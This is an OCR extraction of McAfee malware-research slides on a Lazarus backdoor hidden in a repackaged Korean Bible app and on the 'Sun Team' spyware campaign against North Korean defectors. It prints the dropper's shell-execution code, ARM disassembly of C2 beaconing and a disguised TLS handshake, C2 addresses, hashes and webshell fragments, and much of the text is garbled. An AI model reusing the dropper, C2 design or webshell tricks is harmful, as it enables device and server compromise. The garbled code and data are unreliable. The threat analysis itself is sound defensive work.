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Lazarus Group in Mobile world




Who is the Lazarus
A.K.A Hidden Cobra, Lazarus

Since 2009(at least), DDos, DarkSeoul, Sony Pictures Entertainment, etc
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What is the group doing?

Appeared from various places for various purposes

* Rush for Money! Money! Money!, Move to mobile world
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Discovery

The Bible app is repackaged which is used for reading Bible in Korean.

}\6] 73 G0Dpeople, LTD
B
Ex
(@

GODpeople

HABS A Y v9E|

J01 TR SRR AR S WRLE
S0 U N BN vatzaL

EAMgDAR

NI s 4285

Khkk 1354 2

function GetAndroid(jsVar, data_dir, apk name)
» {
var arm path = data_dir + "/" + apk_name;

var libraryData = "\\0177\\0105\\0114\\0106\\01\\01\\01\\00\\00\\00\\00\\00\\00\\00\\00\\00\\02
51\\0155\\0145\\00\\0144\\0151\\0146\\0146\\0164\\0151\\0155\\0145\\00\\0163\\0143\\0141\\0156\\014
12\\0214\\0342\\0344\\0361\\0274\\0345\\00\\0306\\0217\\0342\\05\\0312\\0214\\0342\\0334\\0361\\027
.. \N00\\0244\\0377\\0377\\0377\\030\\063\\00\\00\\0260\\0377\\0377\\0377\\0264\\0377\\0377\\0377\\ 027
7+ 0\\00\\0340\\01\\0223\\02\\0250\\061\\034\\0152\\0150\\02\\0360\\0274\\0372\\0206\\041\\0150\\0106\
\0102\\0100\\00\\020\\0275\\042\\0113\\0160\\0265\\0173\\0104\\033\\0150\\02\\034\\062\\062\\0222\\
15\\0322\\010\\0113\\052\\033\\0232\\0102\\01\\0331\\0200\\042\\022\\02\\071\\031\\0160\\0150\\01\\
\034\\040\\034\\0377\\0367\\0123\\0375\\00\\050\\060\\0320\\0151\\0106\\013\\061\\040\\034\\01\\042
44\\0340\\0154\\043\\0145\\03\\0150\\00\\053\\010\\0332\\033\\01\\030\\017\\0377\\0367\\0247\\ 0377\

s 7 7 \\0367\\0267\\0376\\010\\0275\\010\\0265\\02\\043\\0377\\0367\\0262\\0376\\010\\0275\\0360\\0265\

42\\0106\\020\\0100\\0240\\0100\\011\\030\\05\\0221\\00\\0226\\050\\034\\031\\034\\015\\042\\0256\\

wﬂ%M55\\0377\\0177\\0260\\00\\0204\\0200\\0150\\0355\\0377\\0177\\0260\\0253\\06\\0200\\0322\\0355\\037

7\\0167\\0167\\056\\0155\\0151\\0143\\0162\\0157\\0163\\0157\\0146\\0164\\056\\0143\\0157\\0155\\00

\0114\\0214\\00\\00\\0114\\0214\\00\\00\\01\\00\\00\\00\\00\\0107\\0103\\0103\\072\\040\\050\\0107\
execute wait(jsVar, ['/system/bin/sh', '-c', 'echo -e "' + libraryData + '" > ' + arm path]):
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Discovery

Discovered by total accident

rule rule_Laz _SPE_SEEDS 1 rule rule_Laz _SPE_SEEDS 4
T (70 56 B 0o Strengs;
al = al =178 66 B4 CZ2
a2 = {H CD AB 90 %EIE = }EF CO AB EID{
a3 = 150 84 25 FEF a3 = {55 B4 &6 FEF
copdit inn: cond it ion:
(uint16(0) = Ox=BAA00 all of them
and all of them

Mobile Malware Research Team
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Repackaged

The APK has been signed by the DEBUG certificate. An ELF file is added at assets.

Owner: CN=kim, OlU=dev, O=godpeople, L=seoul, ST=ss, C=22

Issuer: CN=kim, OU=dev, O=godpeople, L= seoui S5T=ss, (=22

Serial number: 5ZcZabac

alid from: Tue Dec 31 20:12:44 KST 2013 until: Hed Dec 19 20:12:44 KST 2063

SS=android®android.com, CN=Android, OU=Android, 0=Android, L=Mountain View, ST=California, C=US
der b ESS=android®android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
erial number:

7f20
Valid from: Fri Feb 29 10:33:46 KST 2008 until: Tue Jul 17 18:33:46 KST 2835

Size Packed Size Modified Mame Size Packed Size Meaedified
21812 12773 ﬂHBDS_annDtaﬁDnsé 133 104

Jsr3DS annatatlan 133 104 META-IMF 104 797 55 420

META-INF 195 029 55975 s s 621088 s 474789

res 5622719 5473042 _ _
| AndroidManifest.gnl 17012 3717 2017-03-20 11:10 | AndroidManifest.xml 16804 3693
| classes.dex 8251180 3022502 |2017-03-2011:10 | build-data.properties 938 311 1970-01-01 09:00
| resources B47 568 647 568 |2017-03-20 11:09 | classes.dex 8 296 938 2983 996
| classes/dex 1008 368 371205 2017-03-20 11:10 | classes2.dex 964 140 358 751
| build-gata.properties 932 311 2017-03-2011:10 | resources.arse B48 556 BA2 506

|

Namel Size Packed 5ize Modified

while 21812 12773 |2017-03-20 11:10

Mobile Malware Research Team U McAfee | 9



Repackaged

Codes are added in launchable activity

name=
ses-implied- permission:

ses—-permissisc

andr01c PEleSSlOH KEHU

name="'android. perm1551on READ EXTERNAL _STORAGE’

reas

-8 android.support

-F bolts

i

public void onCreate(Bundle paramBundle)

execute();

.Ha. com

godpeople. GPtong
"'f}& ETC

-t widget

Jc.l__.}. BuildConfig.dass
Jc.l__.} ClassCommon$1.dass ,

TNt T = 2159905867,
setContentView(i);
SharedPreferences localSharedPreferences = (Cla
if (localSharedPreferences == null)

Common.config setting;

localSharedPreferences = getSharedPreferences(“"config_setting”, @);
ClassCommon.config_setting = localSharedPreferences;

H

this.timer.start();

H
tl
tl
3
- fup ClassCommongAsyncSavinglmageWithURL . dass
- fup ClassCommon. dass

:I"-fﬁu DEHelper. dass

- fp GEMIntentServiceOld. dass
]---Jc,l__,‘., GemBroadcastReceiver. dass
]---Jc,l__,‘., GomIntentService$1. dass
- Tup GemintentService,dlass
Ty GoWWebPage§1§1.class

]
mmmmmmmmmmmml

{

private void execute()

String strl = getFilesDir().getPath();
Object localObject = new java/lang/StringBuilder;
String str2 = String.walueQf(strl);
((StringBuilder)localObject).<init>({str2);
str2 = "/while";
String str3 = str2;
localObject = "while™;
copvAssets((5tring)localObject, strl);
File localFile = new java/io/File;
localFile.<init>(str3);
boolean bool = true;
localFile.setExecutable(bool);
try
i
localObject = Runtime.getRuntime();
((Runtime)localObject).exec(str3);
localObject = "snowflake";
s5tr2 = "success";
Log.d({String)localCbject, str2);
return;

'
catch (IOException locallOException)

for (;;)

{
localObject =
str2 = "fail";
Log.d((5tring)localObject, stri);
locallQException.printStackTrace();

"snowflake";

Mobile Malware Research Team
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Backdoor

The contained ELF is a backdoor. 4 variants.

05/Dec/2016

27/Mar/2017

28/Mar/2017

20/Nov/2017

8b98bdf2c6a299e1fde217889af54845

9ce9a0b3876aachf0e8023c97fd0a21d

24161120946ddac5e1d15cd64c48b7e6(in APK)

041d1667d4325ee6b827726cde97dd1f

124.248.228[.]30
139.196.55[.]146
119.29.11[.]203
181.119.19[.]100
114.215.130[.]J173

175.100.189[.]174
197.211.212[]31
14.139.200[.]107

217.117.4[]110
175.100.189[.]174
61.106.2[.]96
197.211.212[]31
199.180.148[.]134
110.45.145[.]103
14.139.200[.]107

120.106.16[.]72
137.175.46[.]23
120.106.16[.]72
137.175.46[.]180

Mobile Malware Research Team
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Backdoor

Analysis of the Backdoor

Trying to create a Zombie process

PUSH {RO-R5,LR}

LDR R3, ={__stack_chk_guard_ptr - 8z8F62)
suB SP, 3P, #Oz1FC

ADD R3, PC ; _ stack_chk_guard_ptr

LDR R3, [R3] ; _ stack chk_guard

LDR R2, [R3]

HOUS R5, R3

STR R2, [SP,#8x218+uar_14]

[HU RO, #1

BHE loc_8F98

FEE]

LDR RS, [R1]

BL _getpid

LDR R1, =(asD - BxBF7C)

ADD R4, SP, #0x218+szCmd
HOUS R3, RB

ADD R1, PC 5 %S %dv
HOUS RB, R4 ; char =
HOUS R2, RS

BL sprintf

HOUS RA, R4

BL execSyncProcessWoPrt

loc_8F98 ; char =
LDR RO, [R1,H#4]

BL _atoi

SUBS R2, RB, #8

BLE loc_BFAC

i =

HOUS RO, H5
BL _sleep
B loc_8F88

loc_8F88 ; seconds

I |

, =(aKillD - Bx8FAL)
R4, SP, #0x218+s5zCnd

RO, R4 ; char =
R1, PC 5 "kill Za»
_sprintf

RO, R4

execSyncProcessWoPrt

o

'!\w.
 §

ZOMD=0ID

Mobile Malware Research Team
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Backdoor

Encoding IP addresses of C2

DCB “14.139.2868.187",8
DCB “175.100.189.174",0
DCB "197.211.212.31",8
DCB “199.186.148.134",0
DCB “1168.45.145.183",8

DCB 217 .417.4.1198",8

DCB “61.186.2.96",8

N SE

L]
R1, ={off_DEBC - B8x9786)
R2, R7 ; size_t
R8, RS : void =

R1, PC ; off_DEBC
R1, [R1] ; szIPaddresses ; void =

_memcpy

Ru, #0
R2, #Ox5E

loc_978E

LDRE R3, [R5.R4]
EORS R3, R2

STRE R3, [R5.R4]
ADDS R4, #1

CHP R4, R7

BHE loc_978E

LOR
Hous
Hoh
s

H@, RS wold =
R, @1 : size_t
RZ, R& ;o size_t
A3, Ré FILE =
_Furite
BT, 80
RO, R4
loc_ 9736

—

Ll
L

=

f, ={abataSystendnsc - Bx073N)
RT, w1
k@, PC
ChangeFilePernission

s “fdatafsystemfdnsed . db™

L ]

(A

1oe_9736

WAL ST

1oe_973E
AGRE o3

oo

Write to a file

Jo
SE
LF:%
EC
6E
EE
SE
SE
€8
6E
€E
SE
SE

SE
SE

EF €D &7 70 6C 6E EE 70 &F 6E
SE €6F €9 6B 70 6F 6E 6E T0 &F
SE SE SE SE SE 6F 67 69 70 &C
70 €D €F SE S5E S5E S5E S5E SE &F
70 6F €A 66 70 6F &D 6A SE SE
70 €L €B T0 €F &L EB T0 €F &E
SE 6C €6F €9 70 6F 6F 69 T0 6A
SE SE SE SE SE 68 6F 70 6F 6E

69 SE SE
66 €7 TO
&F &6F TO
&7 67 TO0
SE S5E SE
&D SE SE
T0 6F 6F
68 TO &C

ojpomgplnnponi”™®
ot roikponnpofgp
oij*"~**~ogiploop
ofnpoj fpomj "~
oonpjkpo]kponm™ ™
“~r*loipooipjpoo
notemt S “hoponhpl
npptttAnassassan
npnpnpn’
AN npnpnpn’

ARAAAAAAE ARE An

a

3 nng ang ang an

a

Mobile Malware Research Team
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Backdoor
Connecting to C2

Fo BS PUSH  ¢R4-E.LR} OODOES40 00 60 08 35 2E 31 30 30 2E 31 38 39 2E | ....175.100.189.
15 ac LDR Rh, —(_ stack_chk_guard_ptr - Bx98C8) O00OESSO 31 37 34 00 060 31 39 37 2E 32 31 31 2E [ 174..... 197.211.
87 BB SuUB SP, SP, #8x1C
A o ReT Sh, Howsorvar 20 DODOES60 32 31 32 31 080 B0 00 G0 00 08 31 39 39 2E | 212.31...... 199,
7C nn ADD Rh. PG ; _ stack chk_guard ptr OOOOES7O 31 38 38 31 34 38 2E 31 33 34 OO OO 00 60 00 | 180148 134, .. ..
24 68 LDR R4, [R4] ; _ stack_chk_guard OOOOES80 31 31 34 35 2F 31 34 35 2F 31 38 33 [§ oo l--
b it 0BOGES96 0B 68 60 32 31 37 2E 31 31 37 2E 34 2E 31 31 | ....217.117.4.11
23 0 LDR R3. [R4] OODDESAG 28 00 00 60 08 B8 36 31 2E 31 30 36 2 32 | 0....... 61.106.2
2E 88 STRH  R6, [RS] DOOBESEO 00 OO 60 00 B0 00 06 G0 00 30 2E 30 2E | .06......... 8.8,
s FE brvey-1el B6O06ESC O 30 00 08 00 08 00 0O 06 66 06 66 06 B0 86 B6.0.............
39 o4 A1, 20 2E 30 2E 30 G0 OO OO OO OO 0O 06 60 68 0.0.0.0.........
6B 8n LSRS  R3, R1, W 00 OO 30 2E 30 2E 30 2C 30 00 00 00 60 0P ....0.0.8.8.....
A9 BE LSRS R1, R1, #8z18
19 43 ORRS R1, R3
68 68 STR RB, [R5,#4]
69 808 STRH R1, [R5,#2]
38 1cC MOUS RO, R6 ; domain
a1 21 MOUS R1, #1 ; type
g 22 HMOUS R2, #8 ; protocol
82 FB EE FE BL _socket
86 1E SUBS R6, RO, #8
82 pC BGT loc_9BEE
h
loc_98EE ; addr
29 1C HOUS R1, RS
18 22 HOUS R2, #6x18 ; len
82 F8 E? FE BL _connect
ae 28 CHP RB, #8
F6 DB BLT loc_98ES
L] - v
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Backdoor

Connecting to C2 — Generating callback beacon message

a8 1cC HOUS RO, R1 ; void =
ay 22 MOUs R2, &4 ; size t Struct Socket
a8 21 HOUS R1, #8 ; int
01 FO EB FB BL _memset Address of data
B4 1D ADDS R4, RG6, #6
g1 23 HOUS R3, #1 Length of data
83 22 MOUS  R2, #3 T EETEE T
33 78 STRE R3, [R6] HOUS RG, RO
HOUS R7, R1
32 i STRE R2, [R6,#4] HOUS RS, R2
73 M1 STRB R3, [R6,#5] HOUS RL:, #O
28 1C MOUS RA, R4 -
28 21 HOUS R1, #Ox208 CHP [R1,%0x18+var_18]
[SP,#0x18+var_18]
a8 25 HOUS R:, HO loc_A53E LDR =0xFF 00BBFF
LDR R3, =0x7FFF AHDS R2
SUBS R2, RS, RU4 LDR -0x16308
CHP RZ, R3 DRRS :
BLS loc_AS7E LSLS
HOUS R2, #0:£600 in f;:s
LSRS
82 BE LSRS RZ2, RA, #0=18 ; GODE XR ORRS
ADDS R1, R7, R4 ; buf STRB
[ LDR R@, [Ré,#sock_str.fdSock] HOUs
RB @AABBBABC BL _write LSRS
CHP RO, #B STRB
R1 |B642BOO0 BEQ locret_ps9s FF b
ADDS R4, R4, RO >
RZ2 |GO0000AS > B loc_ASEE r“: Lloc_ASE4
v
B6438008” [[j] b0 6O A1 03 01 59 CA 97 91 31 B9 FE E9 A3 B2 ...... [ T i I
Bouasaefe A4 9E FC C2 8E 70 FC CF 35 47 D2 78 DE 58 43 1C  ..... p..5G.p.XC. abs  RO. RW. #0 3 CODE iR s 1 Hous —Ra, R
Bou388?8 D7 D7 73 30 4F C9 OO B8 48 CO OA CO 14 00 88 88 __s@0.__ . H....... T ous  Ro, Ho 70 10 oS ’
B6438OXA 87 66 39 88 38 CO OF CO 65 8@ 84 68 35 CA B7 CA ..9.8....... Booo : CODE XRP locret_fs1a| |[FF F7 AS FF BL SendBuff _ASé
E6u3goudy 69 CO 11 CO 13 00 45 00 44 60 66 00 33 00 32 CO ... _. E.D_F.3.2. POP {R3-R7,PC}
B6438858 6C CO BE CO 682 CO B4 68 96 660 41 60 A5 68 84 B .......... HNocooo
E6438666 2F CO 68 CO 12 00 16 06 13 CO 6D CO 03 FE FF @808 /... __ ... _.._....
B6438078 ©6A B1 068 60 30 60 68 A6 16 60 14 88 88 11 77 77 ....B......... wu
B6u38ABA 77 ZE 77 69 6B 69 7@ 65 64 69 61 PFE 6F 72 67 AA w.wikipedia.org.
B64380980 ©6n OO0 68 60 66 68 17 66 18 66 19 68 BB 60 B2 81 . ...............
B6438@AA @A 33 74 A0 A0 7@ 6E SE S5FE 5FE 5F 5F 5F 5F SE SE  _3t._pp"ttttttts
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Backdoor

Functionalities

BL
CHP
BHE
LOR
LOR
ADDS
CHP
BLS

HOUS
B

GethsgFronc2_sFos
[

Toc_A354

Rz, [SP,BEx120+var_120]
B3, =0:FFFFADE2

RO, R2, R}
RO, E6x15 ; switch 22 ghses
Toc_A2b8
; CODE XRYfF: FunctionsdfBackdoor:
3 functighs0fBackdoor+BEL]
Ry, 0 ; junptaple BOBBAZDA default case
loc_a2ag

bl ig0c0ERa b LaoE L

; junp table For switch statement

ddr

wdliriteToFil

Mobile Malware Research Team
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Backdoor

Functionalities

0x523E File list

0x523F Download file

0x5240 Upload file

0x5243 Execute shell command(w/o return)
0x5244 Remove file or dir

0x5246 Execute shell command(w/ return)
0x5249 Send the infected device info

0x524A
0x524B
0x524D
0x5251
0x5252

0x5253

Change current working path
Switch connected C2 server

Terminate self

Close connection and sleep

Send current list of C2s

Update the list of C2s

Mobile Malware Research Team
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Attribution

PE and ELF, ARM and x86

Processor Type

§

Linux
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Attribution

The SEED for generating a key for encrypting data

ELF(ARM)

=0=CZ?BUL4678
[R4,#5]

=0x9B8ABCDEF
[RA4, #6xC]
=BxFE268455
[R4,#0x10]
i

PE(x86)

dword ptr lecxz+
eax,

edx, eax

eax, esi

edi, edx

esi,

esi

esiy

dword ptr [ecx+ 1~
edi, edi

[ecx+8], esi

short loc_LB11aB

push ebx
nou ebx, edi

loc_48118D:
edi, [ecx+
eax, [ecx+
esi, edi
[ecx+8], esi
esi, eax
esi, edi
[ecx+ ], esi
esi, [ecx+8]
eax, esi
ebx
[ecx+ 1. eax
short loc_48118D

Mobile Malware Research Team
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9ce9alb3876aachf0eg023c97fd0a21d

5827ff12400b95ca96117961a7ea9f8f

Used for same
operation

91dcf7d4b28e88f8059f39f68d9a8b22 197.211.212.3

Ire

175.100.189.174

IC

139.196.55.146

(e

181.119.19.100

8b98bdf2c6a299e1fde217889af54845

—

217.117.4.110

N\
Ire

124.248.228.30

Ire

114.215.130.173

24f61120946ddac5eld15cd64c4

€68578c2f554dd4035d61a0bf31b50ch

re

14.139.200.107

199.180.l4b|l?>4

I o

61.106.2.96

=

110.45.145.103

24f61120946ddac5eld15cd64c48b7e6

APK
12cc14bbbc421275¢c3c6145bfal86dff

Mobile Malware Research Team
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Attribution

The protocol for communicating to C2 is same

ELF(ARM)

PE(x86)

Mobile Malware Research Team
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Attribution

Protocol for establishing and communicating to C2

-

A 4

«— R U ready?(5bytes)

Gen Packet + Key

«—— ClientHello(Disguised SSL)

A 4

Execute command

— Return results

Command code

Check Validation

\4

Mobile Malware Research Team
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Attribution

5bytes before sending real data

% Transmission Control Protocol, Src Port: 58691, Dst Port: 443, Seq: 1, Ack: 1, Len: 5
Source Port: 58691
Destination Port: 443
[Stream index: 4]
[TCP Segment Len: 5]

Sequence number: 1 (relative sequence number)
[Mext sequence number: & (relative sequence number)]
Acknowledgment number: 1 (relative ack number)

1@@@ .... = Header Length: 32 bytes (8)
> Flags: @x@18 (PSH, ACK)

Window size value: 2738

[Calculated window size: 2738]

[Window size scaling factor: -1 (unknown)]

Checksum: @x986T [unverified]

[Checksum Status: Unverified]

Urgent pointer: @
» Options: (12 bytes), Mo-Operaticn (NOP), No-Operation (NOP), Timestamps
» [SEQ/ACK analysis]

TCP payleoad (5 bytes)

Reassembled PDU in frame: 366

TCP segment data (5 bytes)

&

4c 34 83 17 b5 24 88 4= 81 83 ab 11 @8 @@ 45 e L4...5.N ...... E.
@@ 39 fd 46 48 80 48 86 4a lc c@ ad 39 85 c@ as L9LF@.@. J...9...
39 86 e5 43 @1 bb f6 5c 87 79 f2 2e 31 cl B8 18 9..C... % .y..1...

X Q@ D @
o o Qo G

[
[~ < I e R ]

#a b2 98 6f @@ @@ @1 @1 @8 Ba 16 T5 3 7F 8C T9 ...0ueee wovnunns
eaap 5f b [CENICCIRE . ...
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Attribution

Generate disguised ClientHello

ELF(ARM)

loc_A77E

Fo EO FB

thienRandHunBy!

time

t

ntHello

en
x

» [R3
loc_R7ED

loc_A7D2

setHe

1
mRandNumByLen

PE(x86)

[ea e ; ClientHello
byte ptr [ebp+d],

ebp

di

byte ptr [ebp+d], 1 ; TLS1_UER

vdHuRBYL en_4040F @
; time_t

stlong

LTI
short loc_uBa9i0

short . byte ptr [enp+o],

en_LiouoF o

Mobile Malware Research Team
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Attribution

Sending Disguised ClientHello

~ Secure Sockets Layer 0l (IS T R A AT ) ST NN A L RS ... wuyw . debian
* TLSwl Record Layer: Handshake Protocol: Client Hello 1T o |

Content Type: Handshake (22)

Versicon: TLS 1.@ (@x@3e1) b e e e e e ey Tttt www. drropbo

Length: 165 L

~ Handshake Protocol: Client Hello F |Gl L i R LS R LS R A A A S L B B B P .. ... www . facebo
Handshake Type: Client Hello (1) ok.COM...oeeeenn
= N B (6 60 G0 68 08 68 77 77 77 2E 67 69 74 68 75 o2 WWW.githUh
Wersion: TLS 1.8 (@xa38l)

» Random: 59caf79131e9feefazblad9efcc2Bev@fccf3547d278dess. .. ECOTEE LR EEEELEEE
seszssion ID Length: & b RUELUEEUUEEUUUEU UL S A S LR LR e e e s WWW-QDDgll?
Cipher Suites Length: 72 COM. ¢ s s s e mmma

> Cipher Suites (36 suites) 0 R TR o TG LG A A i A e o T L A R ... v . 1enovo
Compression Methods Length: 1 i 1 1

» Compression Methods (1 method) Contalns benlgn domalns oBlacoocao Dot
Extensions Length: 43 el el el e e e e e e e ey s wu . micros

~ Extension: server_name (len=22) oft.com.........

Type: server_name (&) o el T T A A A A ] S R A AR R e ... .. www_paypal

Length: 22 ] P
Server MName Indication extension

Server MName list length: 2¢ L W EE e e Tt v tumblr

Serwver MName Type: host _name (@) SCOM. oo aas

Server Name length: 27 ¢ TSRSl T ST L R AT A A A BRI L B A L. wuw . twitte

Server Name: www.wikipedia.org FooCOMe o e e e o s

> BEERETSTERorres pronpe (rere=r— | [T 77 77 77 2E 77 65 74 72 61 6FE ...... wn _wetran

» Extension: ec_point_formats (len=2)

» Extension: next_protocol_negotiation {(len=8) sfer.com........

...... wuw  wikipe
dia.org.........

A &0 A -
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Attribution

Receive function

ELF(ARM)

Mobile Malware Research Team

U McAfee |
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Attribution

Receive function — Pseudo code

g;t ruct s

W TE
WORD ;
WORD wL

BYTE +p_Buf, OWORD p_nLen, BYTE p_byTwpe)

Recv 15t 5bytes

buffl0] . wL
if{buff0], = p_nLen || buff[0].byType != p_byType |1 buff[0].wSian I=

result

if{{result= RecwToBuff(s , [const char +)p_Buf, buff[0].wlen)))
.

' Check validation through code 0x301

Decoded :(p_Buf ),

Mobile Malware Research Team U McAfee | 27



Attribution

Contained IPs

14.139.200[.]107
175.100.189[.]174
197.211.212[]31
199.180.148[.]134
110.45.145[.]103
217.117.4[.]110
61.106.2[.]96
181.119.19[.]100
124.248.228[.]30
119.29.11[.]203
139.96.55[.]146
114.215.130[.]173

Vmware-probe.zol.co.zw

Wips.org

Mail.wavenet.com.ar

India

India
Zimbabwe
United States
South Korea
Nigeria
South Korea
Argentina
Hongkong
China
Sweden
China

?Used by Lazarus?

Used by Lazarus

Used by Lazarus

Mobile Malware Research Team
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Rise of a brand new threat actor group




New Threat Actor Arises

* North Korean defectors and
other related groups were
targeted by unknown actors on
KakaoTalk

« Targeted attack, since they
chose to whom they should
implant spyware

» We got interested in this group
and started to track them

NewDaily

wHER | TV AR | [2-3% | BF-SI-AS | 2 FWLDA | WD LAB

ZH x| Al g8t = 224 bl | ARR

ZHEE | 52 | 38 | 4Y | S& IT US| oiUXl-3t3t | OBIE | ZERA | 2mUA

oy EECRIS TS Ul o] Pl olH S A

ot
H=za

RFA “AIRS8IUE LHI2l S L2AACH B S 283 C I1S Lop

=lal-1- FOEUE

TIPSR EZE B | ST 2017.12,02 10:37:51

|
g BR0e”?

OIXt&O0| 0183}7| H@X|

G AUZ SR dt=d
A S MEAIR 242 FAIA
AAsASLC
-ﬂﬂ!.llm

0>
v
.

1. apk (D
o171 k2 YW MABMS. ® Citips://900.9l/WdzzdD
googl ¥r =

L BloodAssista

EH HEE S ot 35128 114

A TIS0RAIDRES0) D3, =3

7

Mobile Malware Research Team

1?:’3‘ 317, 717125 HIMK R IHQ HEF 31D

2X| J\KOIH SHHTE A2 71N T KD Y2, HOHHET
"ADIEE 2 AIE oY 4"

7K 7|xt

o

3201711-2311:23

d8e

+ 3

1 _91 1A (Aol 242 UXIRT
LW AL Of| opiieXIR?

2 e o |

! _;'I;ll UL AR FUevAU

SErQITER] BAIX R SEHHE0X| 7|kt S e
o= ot JEto| Alo|H 32 M| H0| 248 =3
0|1 XX 2 ACt. 3 LSHH FA9I=2
AYIEE M2 HRMIUS O|H Y2 HLHH 2712}
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New Threat Actor Arises

While tracking we were able to uncover additional malware operations by same threat actors

This group is very active
» All the operations we discovered happened in less than a year

We have named this group “Sun Team”
« Thankfully they left their name on their Dropbox storage

{ "entries": [ { ".tag": "deleted", "name": I'sun Team Folder"] "path lower":
"/sun team folder"™, "path display": "/sun Team Folder" 1},

Let’s look at the details

Mobile Malware Research Team U McAfee | 31



Sun Team Timeline

2016.10 2017.08 2017.09 2017.10 2017.12 2018.01 2018.03
App signed ! ! !

& J dlZ (Fortune Telling)

— = First Dropbox storagk created
—_r|—6,_F]|§_(NKPrayer) *

1
1
1
. 1
. App signed
Marketlng #I
:
1
i Uploaded on Google Play

2 &l = & (Food info)

FastAppLock ‘ ‘ Uploaded on Google Play I

2017 was a busy year for Sun Team Data still being uploaded to the cloud storage

Mobile Malware Research Team I McAfee | 32



Malware Distribution
Case 1 : Facebook (1/3)

« Threat actor actively approached NK defectors on Facebook to make them download malwares
Constantly posting on DPRK

T

hitp://ww dailynk.com/korean/read.php....

: |ZHeILICt 20158 &
= S0 ABMELE 230 S5 ABLE-
i =] %@% F|B57| A ERELICH B
2016 T HEUEQ SUE 71557
DAILYNK.COM
o Eote D mEEd z3617|
©s2
t SoH0] CfolAf = OpMIS?
|- 2017'3 102 262 27 11:06
ST
| =3 =32 98 £ JIEHEAT ILHELH-00
Z0te - B2 E7]-@ 1- 20174 102 262 2% 1249
‘ Of 14 EA| STHF|E09 rumiia nLaon

U - o2 =/ - 20179 102 26

O, e STHE A5l = 71=5
ToEuEA

E0rR2 - 2 271 - @ 1- 201745 108 262 2% 12:51

ae
=
-;,t

Trying to phish victim to
install malware

% e

S3H7|S @0 el oM 2 Z0f 7He |

=0t - 22 27]- 20175 102 262 2= 1252
IS E 2L gl
sore L

018 - &2 27| - @ 1- 20171 108 26% 2= 12553

“Hey do
Which you install on your device”

oE Bt 2

S5 zE gg 2Ovte

O[&f7t otEl= 220| S0 ZHR 7
E% =] EH: E\Ll[’.r

EAlF %i.’ ZA|H ZAtoh & LT

NKPrayer__.apk

DRIVE GOOGLE COM

related Facebook Groups

=o|Eey =AIE Ql0i8s

0I5} 2HE 20| 9l0jH £ 2L

“Hey | was looking at this
NKPrayer app and | need
help. Take a look at it and

hitps:/igoo.gligK6s61
SHEES T BSEYUL

NKPrayer__.apk

: 6P

H7t @ ato] =shof Chh A
=375 %2 27 Ho| D
26 Uz 22 480l 25 TR
230 TheM OAl & 25

ou know NKPrayer app?

“Nope. Don’t need it”

2517|C EA| Ch2opal 2
7 ghgehol2ia.
T CH2 2R Ory.

7 22 20 8 20D

HFde QR A FR )
“Hey that NKPrayer app is a

0= malware don’t download it”
2313

i

S22 E 0120173 128 52 27 11:09

t | ;DW?H 128 5% 27 11112
Z I} 51X OHn

= t |- 20179 128 5¢ 23 11:12

2227 [ONG] ®

o227 -@ 1- 201715 122 5L 27 1113

128 MHHEHL

ogt

|- 20175 122 52 27 11:13

Faking as he is also a victim

“Facebook friend who introduced
that app is now gone”

Actual APK files were uploaded on Google Drive

Mobile Malware Research Team
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Malware Distribution

Case 1 : Facebook (2/3)

» After their malware has gone down, they started activating another account to distribute a new

malware

» Instead of using Google Drive, Sun Team uploaded files on Google Play as unreleased version and

distributed URL

Original profile image

Account was created
around 2015

Changed in Feb 1, 2018

n

OFEuEH0l B 2t ofZolLe.

Fast AppLock - {2l d & Heot
(Unreleased)

o Eota 0 #2272
Changed the profile
image(also name) and started
posting on Facebook

This is the same account that
uploaded NKPrayer malware in
the previous slide

Took image from random
person on the internet

' “This is the first app my son develope’d...'

s Ci)ﬁhopi >t/r(1)_u guys live a healthy life.
43 ofz0He eck this app.
DS} A SRt B S

=41 28 Unreleased)

a SR

ojEH 9 2% P .
e This app is so useful !
2613 I love it!”
t 142 §53 Holue
12
t 142 Zopan

Mobile Malware Research Team
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Malware Distribution
Case 1 : Facebook (3/3)

« Some similarities of Facebooks accounts

« Use foreign account names instead of Korean names

« Use foreigner’s image as profile when inactive (ex. Tom Cruise)

« Facebook friends with each other

* Weird personal information

« Ex. Currently living in Pyeongyang and working at a American company

» There are still many Facebook accounts that are inactive

« We are monitoring these accounts

Mobile Malware Research Team
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Malware Distribution
Case 2 : KakaoTalk

« According to the article, journalist at Daily NK was approached by someone named “O|E{f &~
* Notice it has no profile image and uses US number

« Sun Team has created fake accounts to impersonate South Korean people and used them to

approach victims

+  We will look at these accounts in more detail in OPSEC fails part

A4d Ba0197?
HA ol AR

.
00.al/sBJPm

| g

L+ 20 @ e

LOMAVIC A

OI8XtEO0I 0183}7| 42X

@
SELES-T LTS

A8 B MBI A FAA
aMsAGUC

)
L S
e [

R},
S|

e

2 ‘oo

zsho
:
HEQI| #7hx] BojEATL.

https:/igoo.ql/CHBe8A
[ A
N
#\ ]
LY

“EBNE| @ WL 30% YALs 61F of
2B

geo.gl

Mobile Malware Research Team
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Malware Distribution
Case 3 : Hacked Webservers (1/3)

» Google shortened URL which was spread to defectors (used in NKPrayer malware) expands to page
“‘ithoodtec[.Jcom/upload/newslist[.]Jphp”

« Company which produces “hoods”
« It seems that this webserver had a file upload vulnerability in the past
« Malicious actors uploaded newslist[.]php file and used it to redirect to malware on Google drive
 We were unable to acquire the file, but found out how they uploaded it
N

Test webshell file uploaded by a customer service board.
ihoodtec[.)/upload/2_1[.]PHP => same directory as newslist[.]php
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Malware Distribution
Case 3 : Hacked Webservers (2/3)

* Another corporate webserver found distributing trojans which is same as the one dropped by

NKPrayer

» Uses android exploits publicly disclosed to download malwares on device
« Chrome sandbox escape by @oldfresher presented at CanSecWest 2016 (CVE-2015-6764)
« DCOW to elevate privilege on victim’s device (CVE-2016-5195)

« Webshells were uploaded

« Same hash of the webshell password they used seems to be already used on other hacked

servers
AddType application/x-httpd-php5 .php .html AddHandler application/x ...
WWW . co.krfadmincenter/files/boad/1/%5B4%50 htaccess v

AddType application/x-httpd-php5 _php html AddHandler application/x-httpd-php5 php php3 ph lib
.inc .conf txt jpg .Html.

<?php $pass = '7eac0819ch76eaff2bcc1dd617de678f"; Stemp ...

; Wmﬂmrd.m -
<?php Spass = Teac0819chiGeaff2bec1dd617de6Tof; §.

* Same $pass value used in a webshell which is
uploaded on an other South Korean website (file
not available)

ol
g .
QsA 12 24 AE7 EE e,
RECiRzc
A OfEE SHETAL- FazA ae
EedaR| 4E #7 BzeUD 2o o BasE

IR 2017-10-18 17:23:13

* Webshell upload attempt on notice board

* We found other routes to upload a webshell,

resume” feature

such as “upload

Mobile Malware Research Team
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Malware Distribution
